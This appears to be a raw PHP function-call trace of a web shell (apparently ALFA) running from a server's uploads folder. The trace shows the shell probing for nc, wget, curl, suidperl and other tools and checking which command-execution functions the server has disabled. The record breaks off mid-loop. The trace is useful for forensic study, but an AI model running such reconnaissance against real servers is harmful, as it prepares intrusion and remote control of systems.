7	358	R			TRUE
7	359	0	0.048807	2802032	exec	0		/var/www/html/uploads/FileManagerFull.php	762	2	'which gzip'	''
7	359	1	0.049845	2802552
7	359	R			'/usr/bin/gzip'
7	360	0	0.049869	2802448	join	0		/var/www/html/uploads/FileManagerFull.php	763	2	'\n'	[0 => '/usr/bin/gzip']
7	360	1	0.049886	2802512
7	360	R			'/usr/bin/gzip'
6		A						/var/www/html/uploads/FileManagerFull.php	763	$out = '/usr/bin/gzip'
6	357	1	0.049914	2802048
6	357	R			'/usr/bin/gzip'
5		A						/var/www/html/uploads/FileManagerFull.php	744	$data = '/usr/bin/gzip'
5	356	1	0.049939	2802048
5	356	R			'/usr/bin/gzip'
4		A						/var/www/html/uploads/FileManagerFull.php	2404	$path = '/usr/bin/gzip'
4	355	1	0.049965	2801968
4	355	R			13
3		A						/var/www/html/uploads/FileManagerFull.php	1155	$x++
4	361	0	0.049989	2801968	alfaWhich	1		/var/www/html/uploads/FileManagerFull.php	1155	1	'bzip'
5	362	0	0.050004	2802008	alfaEx	1		/var/www/html/uploads/FileManagerFull.php	2404	4	'which bzip'	FALSE	FALSE	???
6	363	0	0.050019	2802008	_alfa_php_cmd	1		/var/www/html/uploads/FileManagerFull.php	744	2	'which bzip'	FALSE
6		A						/var/www/html/uploads/FileManagerFull.php	758	$out = ''
7	364	0	0.050044	2802008	function_exists	0		/var/www/html/uploads/FileManagerFull.php	761	1	'exec'
7	364	1	0.050064	2802048
7	364	R			TRUE
7	365	0	0.050078	2802032	exec	0		/var/www/html/uploads/FileManagerFull.php	762	2	'which bzip'	''
7	365	1	0.051069	2802152
7	365	R			''
7	366	0	0.051091	2802088	join	0		/var/www/html/uploads/FileManagerFull.php	763	2	'\n'	[]
7	366	1	0.051106	2802152
7	366	R			''
6		A						/var/www/html/uploads/FileManagerFull.php	763	$out = ''
6	363	1	0.051132	2802008
6	363	R			''
5		A						/var/www/html/uploads/FileManagerFull.php	744	$data = ''
5	362	1	0.051156	2802008
5	362	R			''
4		A						/var/www/html/uploads/FileManagerFull.php	2404	$path = ''
4	361	1	0.051180	2801968
4	361	R			FALSE
4	367	0	0.051194	2801968	alfaWhich	1		/var/www/html/uploads/FileManagerFull.php	1155	1	'bzialfa2'
5	368	0	0.051209	2802008	alfaEx	1		/var/www/html/uploads/FileManagerFull.php	2404	4	'which bzialfa2'	FALSE	FALSE	???
6	369	0	0.051224	2802008	_alfa_php_cmd	1		/var/www/html/uploads/FileManagerFull.php	744	2	'which bzialfa2'	FALSE
6		A						/var/www/html/uploads/FileManagerFull.php	758	$out = ''
7	370	0	0.051250	2802008	function_exists	0		/var/www/html/uploads/FileManagerFull.php	761	1	'exec'
7	370	1	0.051263	2802048
7	370	R			TRUE
7	371	0	0.051276	2802032	exec	0		/var/www/html/uploads/FileManagerFull.php	762	2	'which bzialfa2'	''
7	371	1	0.052422	2802152
7	371	R			''
7	372	0	0.052451	2802088	join	0		/var/www/html/uploads/FileManagerFull.php	763	2	'\n'	[]
7	372	1	0.052468	2802152
7	372	R			''
6		A						/var/www/html/uploads/FileManagerFull.php	763	$out = ''
6	369	1	0.052494	2802008
6	369	R			''
5		A						/var/www/html/uploads/FileManagerFull.php	744	$data = ''
5	368	1	0.052519	2802008
5	368	R			''
4		A						/var/www/html/uploads/FileManagerFull.php	2404	$path = ''
4	367	1	0.052543	2801968
4	367	R			FALSE
4	373	0	0.052556	2801968	alfaWhich	1		/var/www/html/uploads/FileManagerFull.php	1155	1	'nc'
5	374	0	0.052571	2802008	alfaEx	1		/var/www/html/uploads/FileManagerFull.php	2404	4	'which nc'	FALSE	FALSE	???
6	375	0	0.052586	2802008	_alfa_php_cmd	1		/var/www/html/uploads/FileManagerFull.php	744	2	'which nc'	FALSE
6		A						/var/www/html/uploads/FileManagerFull.php	758	$out = ''
7	376	0	0.052611	2802008	function_exists	0		/var/www/html/uploads/FileManagerFull.php	761	1	'exec'
7	376	1	0.052625	2802048
7	376	R			TRUE
7	377	0	0.052638	2802032	exec	0		/var/www/html/uploads/FileManagerFull.php	762	2	'which nc'	''
7	377	1	0.053930	2802552
7	377	R			'/usr/bin/nc'
7	378	0	0.053961	2802448	join	0		/var/www/html/uploads/FileManagerFull.php	763	2	'\n'	[0 => '/usr/bin/nc']
7	378	1	0.053980	2802512
7	378	R			'/usr/bin/nc'
6		A						/var/www/html/uploads/FileManagerFull.php	763	$out = '/usr/bin/nc'
6	375	1	0.054008	2802048
6	375	R			'/usr/bin/nc'
5		A						/var/www/html/uploads/FileManagerFull.php	744	$data = '/usr/bin/nc'
5	374	1	0.054034	2802048
5	374	R			'/usr/bin/nc'
4		A						/var/www/html/uploads/FileManagerFull.php	2404	$path = '/usr/bin/nc'
4	373	1	0.054060	2801968
4	373	R			11
3		A						/var/www/html/uploads/FileManagerFull.php	1155	$x++
4	379	0	0.054086	2801968	alfaWhich	1		/var/www/html/uploads/FileManagerFull.php	1155	1	'locate'
5	380	0	0.054100	2802008	alfaEx	1		/var/www/html/uploads/FileManagerFull.php	2404	4	'which locate'	FALSE	FALSE	???
6	381	0	0.054116	2802008	_alfa_php_cmd	1		/var/www/html/uploads/FileManagerFull.php	744	2	'which locate'	FALSE
6		A						/var/www/html/uploads/FileManagerFull.php	758	$out = ''
7	382	0	0.054142	2802008	function_exists	0		/var/www/html/uploads/FileManagerFull.php	761	1	'exec'
7	382	1	0.054156	2802048
7	382	R			TRUE
7	383	0	0.054169	2802032	exec	0		/var/www/html/uploads/FileManagerFull.php	762	2	'which locate'	''
7	383	1	0.055397	2802152
7	383	R			''
7	384	0	0.055420	2802088	join	0		/var/www/html/uploads/FileManagerFull.php	763	2	'\n'	[]
7	384	1	0.055436	2802152
7	384	R			''
6		A						/var/www/html/uploads/FileManagerFull.php	763	$out = ''
6	381	1	0.055478	2802008
6	381	R			''
5		A						/var/www/html/uploads/FileManagerFull.php	744	$data = ''
5	380	1	0.055503	2802008
5	380	R			''
4		A						/var/www/html/uploads/FileManagerFull.php	2404	$path = ''
4	379	1	0.055526	2801968
4	379	R			FALSE
4	385	0	0.055540	2801968	alfaWhich	1		/var/www/html/uploads/FileManagerFull.php	1155	1	'suidperl'
5	386	0	0.055555	2802008	alfaEx	1		/var/www/html/uploads/FileManagerFull.php	2404	4	'which suidperl'	FALSE	FALSE	???
6	387	0	0.055570	2802008	_alfa_php_cmd	1		/var/www/html/uploads/FileManagerFull.php	744	2	'which suidperl'	FALSE
6		A						/var/www/html/uploads/FileManagerFull.php	758	$out = ''
7	388	0	0.055595	2802008	function_exists	0		/var/www/html/uploads/FileManagerFull.php	761	1	'exec'
7	388	1	0.055609	2802048
7	388	R			TRUE
7	389	0	0.055623	2802032	exec	0		/var/www/html/uploads/FileManagerFull.php	762	2	'which suidperl'	''
7	389	1	0.056864	2802152
7	389	R			''
7	390	0	0.056888	2802088	join	0		/var/www/html/uploads/FileManagerFull.php	763	2	'\n'	[]
7	390	1	0.056903	2802152
7	390	R			''
6		A						/var/www/html/uploads/FileManagerFull.php	763	$out = ''
6	387	1	0.056929	2802008
6	387	R			''
5		A						/var/www/html/uploads/FileManagerFull.php	744	$data = ''
5	386	1	0.056953	2802008
5	386	R			''
4		A						/var/www/html/uploads/FileManagerFull.php	2404	$path = ''
4	385	1	0.056976	2801968
4	385	R			FALSE
3		A						/var/www/html/uploads/FileManagerFull.php	1161	$downloaders = [0 => 'wget', 1 => 'fetch', 2 => 'lynx', 3 => 'links', 4 => 'curl', 5 => 'get', 6 => 'lwp-mirror']
3		A						/var/www/html/uploads/FileManagerFull.php	1162	$x = 0
4	391	0	0.057022	2801968	alfaWhich	1		/var/www/html/uploads/FileManagerFull.php	1163	1	'wget'
5	392	0	0.057037	2802008	alfaEx	1		/var/www/html/uploads/FileManagerFull.php	2404	4	'which wget'	FALSE	FALSE	???
6	393	0	0.057052	2802008	_alfa_php_cmd	1		/var/www/html/uploads/FileManagerFull.php	744	2	'which wget'	FALSE
6		A						/var/www/html/uploads/FileManagerFull.php	758	$out = ''
7	394	0	0.057077	2802008	function_exists	0		/var/www/html/uploads/FileManagerFull.php	761	1	'exec'
7	394	1	0.057091	2802048
7	394	R			TRUE
7	395	0	0.057104	2802032	exec	0		/var/www/html/uploads/FileManagerFull.php	762	2	'which wget'	''
7	395	1	0.058325	2802552
7	395	R			'/usr/bin/wget'
7	396	0	0.058350	2802448	join	0		/var/www/html/uploads/FileManagerFull.php	763	2	'\n'	[0 => '/usr/bin/wget']
7	396	1	0.058367	2802512
7	396	R			'/usr/bin/wget'
6		A						/var/www/html/uploads/FileManagerFull.php	763	$out = '/usr/bin/wget'
6	393	1	0.058395	2802048
6	393	R			'/usr/bin/wget'
5		A						/var/www/html/uploads/FileManagerFull.php	744	$data = '/usr/bin/wget'
5	392	1	0.058421	2802048
5	392	R			'/usr/bin/wget'
4		A						/var/www/html/uploads/FileManagerFull.php	2404	$path = '/usr/bin/wget'
4	391	1	0.058445	2801968
4	391	R			13
3		A						/var/www/html/uploads/FileManagerFull.php	1163	$x++
4	397	0	0.058470	2801968	alfaWhich	1		/var/www/html/uploads/FileManagerFull.php	1163	1	'fetch'
5	398	0	0.058485	2802008	alfaEx	1		/var/www/html/uploads/FileManagerFull.php	2404	4	'which fetch'	FALSE	FALSE	???
6	399	0	0.058500	2802008	_alfa_php_cmd	1		/var/www/html/uploads/FileManagerFull.php	744	2	'which fetch'	FALSE
6		A						/var/www/html/uploads/FileManagerFull.php	758	$out = ''
7	400	0	0.058525	2802008	function_exists	0		/var/www/html/uploads/FileManagerFull.php	761	1	'exec'
7	400	1	0.058539	2802048
7	400	R			TRUE
7	401	0	0.058552	2802032	exec	0		/var/www/html/uploads/FileManagerFull.php	762	2	'which fetch'	''
7	401	1	0.059741	2802152
7	401	R			''
7	402	0	0.059763	2802088	join	0		/var/www/html/uploads/FileManagerFull.php	763	2	'\n'	[]
7	402	1	0.059779	2802152
7	402	R			''
6		A						/var/www/html/uploads/FileManagerFull.php	763	$out = ''
6	399	1	0.059804	2802008
6	399	R			''
5		A						/var/www/html/uploads/FileManagerFull.php	744	$data = ''
5	398	1	0.059834	2802008
5	398	R			''
4		A						/var/www/html/uploads/FileManagerFull.php	2404	$path = ''
4	397	1	0.059858	2801968
4	397	R			FALSE
4	403	0	0.059872	2801968	alfaWhich	1		/var/www/html/uploads/FileManagerFull.php	1163	1	'lynx'
5	404	0	0.059922	2802008	alfaEx	1		/var/www/html/uploads/FileManagerFull.php	2404	4	'which lynx'	FALSE	FALSE	???
6	405	0	0.059938	2802008	_alfa_php_cmd	1		/var/www/html/uploads/FileManagerFull.php	744	2	'which lynx'	FALSE
6		A						/var/www/html/uploads/FileManagerFull.php	758	$out = ''
7	406	0	0.059965	2802008	function_exists	0		/var/www/html/uploads/FileManagerFull.php	761	1	'exec'
7	406	1	0.059979	2802048
7	406	R			TRUE
7	407	0	0.059992	2802032	exec	0		/var/www/html/uploads/FileManagerFull.php	762	2	'which lynx'	''
7	407	1	0.061181	2802152
7	407	R			''
7	408	0	0.061203	2802088	join	0		/var/www/html/uploads/FileManagerFull.php	763	2	'\n'	[]
7	408	1	0.061220	2802152
7	408	R			''
6		A						/var/www/html/uploads/FileManagerFull.php	763	$out = ''
6	405	1	0.061245	2802008
6	405	R			''
5		A						/var/www/html/uploads/FileManagerFull.php	744	$data = ''
5	404	1	0.061270	2802008
5	404	R			''
4		A						/var/www/html/uploads/FileManagerFull.php	2404	$path = ''
4	403	1	0.061293	2801968
4	403	R			FALSE
4	409	0	0.061306	2801968	alfaWhich	1		/var/www/html/uploads/FileManagerFull.php	1163	1	'links'
5	410	0	0.061321	2802008	alfaEx	1		/var/www/html/uploads/FileManagerFull.php	2404	4	'which links'	FALSE	FALSE	???
6	411	0	0.061336	2802008	_alfa_php_cmd	1		/var/www/html/uploads/FileManagerFull.php	744	2	'which links'	FALSE
6		A						/var/www/html/uploads/FileManagerFull.php	758	$out = ''
7	412	0	0.061361	2802008	function_exists	0		/var/www/html/uploads/FileManagerFull.php	761	1	'exec'
7	412	1	0.061375	2802048
7	412	R			TRUE
7	413	0	0.061388	2802032	exec	0		/var/www/html/uploads/FileManagerFull.php	762	2	'which links'	''
7	413	1	0.062556	2802152
7	413	R			''
7	414	0	0.062577	2802088	join	0		/var/www/html/uploads/FileManagerFull.php	763	2	'\n'	[]
7	414	1	0.062593	2802152
7	414	R			''
6		A						/var/www/html/uploads/FileManagerFull.php	763	$out = ''
6	411	1	0.062619	2802008
6	411	R			''
5		A						/var/www/html/uploads/FileManagerFull.php	744	$data = ''
5	410	1	0.062644	2802008
5	410	R			''
4		A						/var/www/html/uploads/FileManagerFull.php	2404	$path = ''
4	409	1	0.062667	2801968
4	409	R			FALSE
4	415	0	0.062681	2801968	alfaWhich	1		/var/www/html/uploads/FileManagerFull.php	1163	1	'curl'
5	416	0	0.062695	2802008	alfaEx	1		/var/www/html/uploads/FileManagerFull.php	2404	4	'which curl'	FALSE	FALSE	???
6	417	0	0.062710	2802008	_alfa_php_cmd	1		/var/www/html/uploads/FileManagerFull.php	744	2	'which curl'	FALSE
6		A						/var/www/html/uploads/FileManagerFull.php	758	$out = ''
7	418	0	0.062735	2802008	function_exists	0		/var/www/html/uploads/FileManagerFull.php	761	1	'exec'
7	418	1	0.062749	2802048
7	418	R			TRUE
7	419	0	0.062762	2802032	exec	0		/var/www/html/uploads/FileManagerFull.php	762	2	'which curl'	''
7	419	1	0.063941	2802552
7	419	R			'/usr/bin/curl'
7	420	0	0.063965	2802448	join	0		/var/www/html/uploads/FileManagerFull.php	763	2	'\n'	[0 => '/usr/bin/curl']
7	420	1	0.063982	2802512
7	420	R			'/usr/bin/curl'
6		A						/var/www/html/uploads/FileManagerFull.php	763	$out = '/usr/bin/curl'
6	417	1	0.064010	2802048
6	417	R			'/usr/bin/curl'
5		A						/var/www/html/uploads/FileManagerFull.php	744	$data = '/usr/bin/curl'
5	416	1	0.064035	2802048
5	416	R			'/usr/bin/curl'
4		A						/var/www/html/uploads/FileManagerFull.php	2404	$path = '/usr/bin/curl'
4	415	1	0.064060	2801968
4	415	R			13
3		A						/var/www/html/uploads/FileManagerFull.php	1163	$x++
4	421	0	0.064084	2801968	alfaWhich	1		/var/www/html/uploads/FileManagerFull.php	1163	1	'get'
5	422	0	0.064105	2802008	alfaEx	1		/var/www/html/uploads/FileManagerFull.php	2404	4	'which get'	FALSE	FALSE	???
6	423	0	0.064120	2802008	_alfa_php_cmd	1		/var/www/html/uploads/FileManagerFull.php	744	2	'which get'	FALSE
6		A						/var/www/html/uploads/FileManagerFull.php	758	$out = ''
7	424	0	0.064145	2802008	function_exists	0		/var/www/html/uploads/FileManagerFull.php	761	1	'exec'
7	424	1	0.064160	2802048
7	424	R			TRUE
7	425	0	0.064173	2802032	exec	0		/var/www/html/uploads/FileManagerFull.php	762	2	'which get'	''
7	425	1	0.065333	2802152
7	425	R			''
7	426	0	0.065356	2802088	join	0		/var/www/html/uploads/FileManagerFull.php	763	2	'\n'	[]
7	426	1	0.065372	2802152
7	426	R			''
6		A						/var/www/html/uploads/FileManagerFull.php	763	$out = ''
6	423	1	0.065398	2802008
6	423	R			''
5		A						/var/www/html/uploads/FileManagerFull.php	744	$data = ''
5	422	1	0.065422	2802008
5	422	R			''
4		A						/var/www/html/uploads/FileManagerFull.php	2404	$path = ''
4	421	1	0.065446	2801968
4	421	R			FALSE
4	427	0	0.065460	2801968	alfaWhich	1		/var/www/html/uploads/FileManagerFull.php	1163	1	'lwp-mirror'
5	428	0	0.065474	2802016	alfaEx	1		/var/www/html/uploads/FileManagerFull.php	2404	4	'which lwp-mirror'	FALSE	FALSE	???
6	429	0	0.065490	2802016	_alfa_php_cmd	1		/var/www/html/uploads/FileManagerFull.php	744	2	'which lwp-mirror'	FALSE
6		A						/var/www/html/uploads/FileManagerFull.php	758	$out = ''
7	430	0	0.065515	2802016	function_exists	0		/var/www/html/uploads/FileManagerFull.php	761	1	'exec'
7	430	1	0.065529	2802056
7	430	R			TRUE
7	431	0	0.065542	2802040	exec	0		/var/www/html/uploads/FileManagerFull.php	762	2	'which lwp-mirror'	''
7	431	1	0.066688	2802576
7	431	R			'/usr/bin/lwp-mirror'
7	432	0	0.066712	2802464	join	0		/var/www/html/uploads/FileManagerFull.php	763	2	'\n'	[0 => '/usr/bin/lwp-mirror']
7	432	1	0.066729	2802528
7	432	R			'/usr/bin/lwp-mirror'
6		A						/var/www/html/uploads/FileManagerFull.php	763	$out = '/usr/bin/lwp-mirror'
6	429	1	0.066757	2802064
6	429	R			'/usr/bin/lwp-mirror'
5		A						/var/www/html/uploads/FileManagerFull.php	744	$data = '/usr/bin/lwp-mirror'
5	428	1	0.066783	2802064
5	428	R			'/usr/bin/lwp-mirror'
4		A						/var/www/html/uploads/FileManagerFull.php	2404	$path = '/usr/bin/lwp-mirror'
4	427	1	0.066809	2801968
4	427	R			19
3		A						/var/www/html/uploads/FileManagerFull.php	1163	$x++
4	433	0	0.066834	2801968	function_exists	0		/var/www/html/uploads/FileManagerFull.php	1181	1	'get_magic_quotes_gpc'
4	433	1	0.066849	2802008
4	433	R			TRUE
4	434	0	0.066862	2801968	get_magic_quotes_gpc	0		/var/www/html/uploads/FileManagerFull.php	1181	0
4	434	1	0.066874	2801968
4	434	R			FALSE
3		A						/var/www/html/uploads/FileManagerFull.php	1181	$quotes = FALSE
3		A						/var/www/html/uploads/FileManagerFull.php	1181	$magic = '<span class="header_off">OFF</span>'
4	435	0	0.066913	2801968	Alfa_GetDisable_Function	1		/var/www/html/uploads/FileManagerFull.php	1183	0
5	436	0	0.066926	2801968	ini_get	0		/var/www/html/uploads/FileManagerFull.php	917	1	'disable_functions'
5	436	1	0.066942	2802448
5	436	R			'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
4		A						/var/www/html/uploads/FileManagerFull.php	917	$disfun = 'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
4		A						/var/www/html/uploads/FileManagerFull.php	918	$afa = '<span class="header_show_all">All Functions Accessible</span>'
5	437	0	0.067002	2802416	explode	0		/var/www/html/uploads/FileManagerFull.php	920	2	','	'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
5	437	1	0.067026	2804888
5	437	R			[0 => 'pcntl_alarm', 1 => 'pcntl_fork', 2 => 'pcntl_waitpid', 3 => 'pcntl_wait', 4 => 'pcntl_wifexited', 5 => 'pcntl_wifstopped', 6 => 'pcntl_wifsignaled', 7 => 'pcntl_wifcontinued', 8 => 'pcntl_wexitstatus', 9 => 'pcntl_wtermsig', 10 => 'pcntl_wstopsig', 11 => 'pcntl_signal', 12 => 'pcntl_signal_get_handler', 13 => 'pcntl_signal_dispatch', 14 => 'pcntl_get_last_error', 15 => 'pcntl_strerror', 16 => 'pcntl_sigprocmask', 17 => 'pcntl_sigwaitinfo', 18 => 'pcntl_sigtimedwait', 19 => 'pcntl_exec', 20 => 'pcntl_getpriority', 21 => 'pcntl_setpriority', 22 => 'pcntl_async_signals', 23 => '']
4		A						/var/www/html/uploads/FileManagerFull.php	920	$s = [0 => 'pcntl_alarm', 1 => 'pcntl_fork', 2 => 'pcntl_waitpid', 3 => 'pcntl_wait', 4 => 'pcntl_wifexited', 5 => 'pcntl_wifstopped', 6 => 'pcntl_wifsignaled', 7 => 'pcntl_wifcontinued', 8 => 'pcntl_wexitstatus', 9 => 'pcntl_wtermsig', 10 => 'pcntl_wstopsig', 11 => 'pcntl_signal', 12 => 'pcntl_signal_get_handler', 13 => 'pcntl_signal_dispatch', 14 => 'pcntl_get_last_error', 15 => 'pcntl_strerror', 16 => 'pcntl_sigprocmask', 17 => 'pcntl_sigwaitinfo', 18 => 'pcntl_sigtimedwait', 19 => 'pcntl_exec', 20 => 'pcntl_getpriority', 21 => 'pcntl_setpriority', 22 => 'pcntl_async_signals', 23 => '']
5	438	0	0.067098	2804816	array_unique	0		/var/www/html/uploads/FileManagerFull.php	921	1	[0 => 'pcntl_alarm', 1 => 'pcntl_fork', 2 => 'pcntl_waitpid', 3 => 'pcntl_wait', 4 => 'pcntl_wifexited', 5 => 'pcntl_wifstopped', 6 => 'pcntl_wifsignaled', 7 => 'pcntl_wifcontinued', 8 => 'pcntl_wexitstatus', 9 => 'pcntl_wtermsig', 10 => 'pcntl_wstopsig', 11 => 'pcntl_signal', 12 => 'pcntl_signal_get_handler', 13 => 'pcntl_signal_dispatch', 14 => 'pcntl_get_last_error', 15 => 'pcntl_strerror', 16 => 'pcntl_sigprocmask', 17 => 'pcntl_sigwaitinfo', 18 => 'pcntl_sigtimedwait', 19 => 'pcntl_exec', 20 => 'pcntl_getpriority', 21 => 'pcntl_setpriority', 22 => 'pcntl_async_signals', 23 => '']
5	438	1	0.067131	2806184
5	438	R			[0 => 'pcntl_alarm', 1 => 'pcntl_fork', 2 => 'pcntl_waitpid', 3 => 'pcntl_wait', 4 => 'pcntl_wifexited', 5 => 'pcntl_wifstopped', 6 => 'pcntl_wifsignaled', 7 => 'pcntl_wifcontinued', 8 => 'pcntl_wexitstatus', 9 => 'pcntl_wtermsig', 10 => 'pcntl_wstopsig', 11 => 'pcntl_signal', 12 => 'pcntl_signal_get_handler', 13 => 'pcntl_signal_dispatch', 14 => 'pcntl_get_last_error', 15 => 'pcntl_strerror', 16 => 'pcntl_sigprocmask', 17 => 'pcntl_sigwaitinfo', 18 => 'pcntl_sigtimedwait', 19 => 'pcntl_exec', 20 => 'pcntl_getpriority', 21 => 'pcntl_setpriority', 22 => 'pcntl_async_signals', 23 => '']
4		A						/var/www/html/uploads/FileManagerFull.php	921	$s = [0 => 'pcntl_alarm', 1 => 'pcntl_fork', 2 => 'pcntl_waitpid', 3 => 'pcntl_wait', 4 => 'pcntl_wifexited', 5 => 'pcntl_wifstopped', 6 => 'pcntl_wifsignaled', 7 => 'pcntl_wifcontinued', 8 => 'pcntl_wexitstatus', 9 => 'pcntl_wtermsig', 10 => 'pcntl_wstopsig', 11 => 'pcntl_signal', 12 => 'pcntl_signal_get_handler', 13 => 'pcntl_signal_dispatch', 14 => 'pcntl_get_last_error', 15 => 'pcntl_strerror', 16 => 'pcntl_sigprocmask', 17 => 'pcntl_sigwaitinfo', 18 => 'pcntl_sigtimedwait', 19 => 'pcntl_exec', 20 => 'pcntl_getpriority', 21 => 'pcntl_setpriority', 22 => 'pcntl_async_signals', 23 => '']
4		A						/var/www/html/uploads/FileManagerFull.php	922	$i = 0
4		A						/var/www/html/uploads/FileManagerFull.php	923	$b = 0
4		A						/var/www/html/uploads/FileManagerFull.php	924	$func = [0 => 'system', 1 => 'exec', 2 => 'shell_exec', 3 => 'proc_open', 4 => 'popen', 5 => 'passthru', 6 => 'symlink', 7 => 'dl']
4		A						/var/www/html/uploads/FileManagerFull.php	925	$black_list = []
4		A						/var/www/html/uploads/FileManagerFull.php	926	$allow_list = []
5	439	0	0.067253	2804816	trim	0		/var/www/html/uploads/FileManagerFull.php	928	1	'pcntl_alarm'
5	439	1	0.067266	2804848
5	439	R			'pcntl_alarm'
4		A						/var/www/html/uploads/FileManagerFull.php	928	$d = 'pcntl_alarm'
5	440	0	0.067292	2804816	is_callable	0		/var/www/html/uploads/FileManagerFull.php	929	1	'pcntl_alarm'
5	440	1	0.067307	2804848
5	440	R			FALSE
5	441	0	0.067321	2804816	trim	0		/var/www/html/uploads/FileManagerFull.php	928	1	'pcntl_fork'
5	441	1	0.067334	2804848
5	441	R			'pcntl_fork'
4		A						/var/www/html/uploads/FileManagerFull.php	928	$d = 'pcntl_fork'
5	442	0	0.067358	2804816	is_callable	0		/var/www/html/uploads/FileManagerFull.php	929	1	'pcntl_fork'
5	442	1	0.067373	2804848
5	442	R			FALSE
5	443	0	0.067386	2804816	trim	0		/var/www/html/uploads/FileManagerFull.php	928	1	'pcntl_waitpid'
5	443	1	0.067399	2804848
5	443	R			'pcntl_waitpid'
4		A						/var/www/html/uploads/FileManagerFull.php	928	$d = 'pcntl_waitpid'
5	444	0	0.067423	2804816	is_callable	0		/var/www/html/uploads/FileManagerFull.php	929	1	'pcntl_waitpid'
5	444	1	0.067436	2804848
5	444	R			FALSE
5	445	0	0.067449	2804816	trim	0		/var/www/html/uploads/FileManagerFull.php	928	1	'pcntl_wait'
5	445	1	0.067468	2804848
5	445	R			'pcntl_wait'
4		A						/var/www/html/uploads/FileManagerFull.php	928	$d = 'pcntl_wait'
5	446	0	0.067492	2804816	is_callable	0		/var/www/html/uploads/FileManagerFull.php	929	1	'pcntl_wait'
5	446	1	0.067505	2804848
5	446	R			FALSE
5	447	0	0.067518	2804816	trim	0		/var/www/html/uploads/FileManagerFull.php	928	1	'pcntl_wifexited'
5	447	1	0.067531	2804848
5	447	R			'pcntl_wifexited'
4		A						/var/www/html/uploads/FileManagerFull.php	928	$d = 'pcntl_wifexited'
5	448	0	0.067556	2804816	is_callable	0		/var/www/html/uploads/FileManagerFull.php	929	1	'pcntl_wifexited'
5	448	1	0.067569	2804848
5	448	R			FALSE
5	449	0	0.067582	2804816	trim	0		/var/www/html/uploads/FileManagerFull.php	928	1	'pcntl_wifstopped'
5	449	1	0.067595	2804848
5	449	R			'pcntl_wifstopped'
4		A						/var/www/html/uploads/FileManagerFull.php	928	$d = 'pcntl_wifstopped'
5	450	0	0.067619	2804816	is_callable	0		/var/www/html/uploads/FileManagerFull.php	929	1	'pcntl_wifstopped'
5	450	1	0.067633	2804848
5	450	R			FALSE
5	451	0	0.067650	2804816	trim	0		/var/www/html/uploads/FileManagerFull.php	928	1	'pcntl_wifsignaled'
5	451	1	0.067663	2804848
5	451	R			'pcntl_wifsignaled'
4		A						/var/www/html/uploads/FileManagerFull.php	928	$d = 'pcntl_wifsignaled'
5	452	0	0.067688	2804816	is_callable	0		/var/www/html/uploads/FileManagerFull.php	929	1	'pcntl_wifsignaled'
5	452	1	0.067701	2804848
5	452	R			FALSE
5	453	0	0.067714	2804816	trim	0		/var/www/html/uploads/FileManagerFull.php	928	1	'pcntl_wifcontinued'
5	453	1	0.067726	2804848
5	453	R			'pcntl_wifcontinued'
4		A						/var/www/html/uploads/FileManagerFull.php	928	$d = 'pcntl_wifcontinued'
5	454	0	0.067751	2804816	is_callable	0		/var/www/html/uploads/FileManagerFull.php	929	1	'pcntl_wifcontinued'
5	454	1	0.067764	2804848
5	454	R			FALSE
5	455	0	0.067777	2804816	trim	0		/var/www/html/uploads/FileManagerFull.php	928	1	'pcntl_wexitstatus'
5	455	1	0.067789	2804848
5	455	R			'pcntl_wexitstatus'
4		A						/var/www/html/uploads/FileManagerFull.php	928	$d = 'pcntl_wexitstatus'
5	456	0	0.067813	2804816	is_callable	0		/var/www/html/uploads/FileManagerFull.php	929	1	'pcntl_wexitstatus'
5	456	1	0.067827	2804848
5	456	R			FALSE
5	457	0	0.067840	2804816	trim	0		/var/www/html/uploads/FileManagerFull.php	928	1	'pcntl_wtermsig'
5	457	1	0.067852	2804848
5	457	R			'pcntl_wtermsig'
4		A						/var/www/html/uploads/FileManagerFull.php	928	$d = 'pcntl_wtermsig'
5	458	0	0.067876	2804816	is_callable	0		/var/www/html/uploads/FileManagerFull.php	929	1	'pcntl_wtermsig'
5	458	1	0.067891	2804848
5	458	R			FALSE
5	459	0	0.067904	2804816	trim	0		/var/www/html/uploads/FileManagerFull.php	928	1	'pcntl_wstopsig'
5	459	1	0.067954	2804848
5	459	R			'pcntl_wstopsig'
4		A						/var/www/html/uploads/FileManagerFull.php	928	$d = 'pcntl_wstopsig'
5	460	0	0.067980	2804816	is_callable	0		/var/www/html/uploads/FileManagerFull.php	929	1	'pcntl_wstopsig'
5	460	1	0.067994	2804848
5	460	R			FALSE
5	461	0	0.068006	2804816	trim	0		/var/www/html/uploads/FileManagerFull.php	928	1	'pcntl_signal'
5	461	1	0.068019	2804848
5	461	R			'pcntl_signal'
4		A						/var/www/html/uploads/FileManagerFull.php	928	$d = 'pcntl_signal'
5	462	0	0.068042	2804816	is_callable	0		/var/www/html/uploads/FileManagerFull.php	929	1	'pcntl_signal'
5	462	1	0.068056	2804848
5	462	R			FALSE
5	463	0	0.068068	2804816	trim	0		/var/www/html/uploads/FileManagerFull.php	928	1	'pcntl_signal_get_handler'
5	463	1	0.068081	2804848
5	463	R			'pcntl_signal_get_handler'
4		A						/var/www/html/uploads/FileManagerFull.php	928	$d = 'pcntl_signal_get_handler'
5	464	0	0.068106	2804816	is_callable	0		/var/www/html/uploads/FileManagerFull.php	929	1	'pcntl_signal_get_handler'
